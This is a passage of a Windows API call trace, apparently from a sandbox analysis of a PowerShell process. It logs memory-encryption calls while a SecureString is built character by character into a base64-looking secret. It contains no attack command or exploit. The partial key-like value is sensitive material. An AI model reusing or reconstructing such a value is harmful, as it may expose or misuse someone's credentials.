MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0137.027] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQdpDiPM7Nw௢髂笃") returned 0x30 [0137.027] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0137.027] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915\xaafc\x1f1d\x5a6f\x9186\x1fed\x3f96\x987d\xd395") returned 0x30 [0137.027] SysStringLen (param_1="\x9671\x1ce\xf8e7\x5438\x3e38\x3765\x5f86\x8e83\x348e\x19c4\x5c71\x87fb\x8cc2\x93e0\xd162\x4054\xaf90\x404b\xabe8\xaf8a\xbf26\x41fc\x24f8\xdb8e\x04\x6667\xcc56\x80ce\x6432\xa5d8\x6b71\xa297\xf2e7\x40e4\xa64c\x982\x7ce8\xda56\xfb23\xe915\xaafc\x1f1d\x5a6f\x9186\x1fed\x3f96\x987d\xd395") returned 0x30 [0137.027] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0137.027] SysStringLen (param_1="EdXRFDAn0ECJsHIvz0WcDpnAQDLo9lsXCQdpDiPM7Nw=髂笃") returned 0x30 [0137.027] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0137.027] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.027] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.027] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.027] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0137.027] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.027] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.028] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.028] SysStringLen (param_1="") returned 0x8 [0137.028] SysStringLen (param_1="Y") returned 0x8 [0137.028] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.028] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.028] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.028] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.028] SysStringLen (param_1="YW") returned 0x8 [0137.028] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.028] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.028] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.028] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.028] SysStringLen (param_1="YWM") returned 0x8 [0137.029] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.029] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.029] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.029] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.029] SysStringLen (param_1="YWM1") returned 0x8 [0137.029] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.029] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.029] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.029] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.029] SysStringLen (param_1="YWM1O") returned 0x8 [0137.029] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.029] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.029] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.029] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.029] SysStringLen (param_1="YWM1OT") returned 0x8 [0137.029] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.029] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.029] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.029] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.030] SysStringLen (param_1="YWM1OTE") returned 0x8 [0137.030] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.030] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.030] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.030] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.030] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0137.030] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.030] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.030] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.030] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.030] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0137.030] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.030] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0137.030] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.030] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.030] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.030] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.030] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0137.030] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.031] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.031] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.031] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.031] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0137.031] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.031] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.031] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.031] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.031] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0137.031] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.031] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.031] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.031] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.031] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0137.031] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.031] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.031] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.031] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.032] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0137.032] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.032] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.032] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.032] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.032] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0137.032] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.032] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.032] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.032] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.032] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0137.032] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.032] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.032] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.032] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.032] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0137.032] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.032] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0137.033] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.033] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.033] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0137.033] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.033] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.033] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.033] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0137.033] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.034] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.034] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0137.034] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.034] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.034] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.035] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0137.035] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.035] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.035] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0137.035] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.035] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.035] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0137.035] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.035] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.035] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0137.035] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.035] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0137.036] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.036] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0137.036] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.036] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.036] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0137.036] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.036] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.036] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0137.036] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.036] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.036] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.037] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0137.037] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.037] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.037] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.037] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.037] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0137.037] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.037] SysStringLen 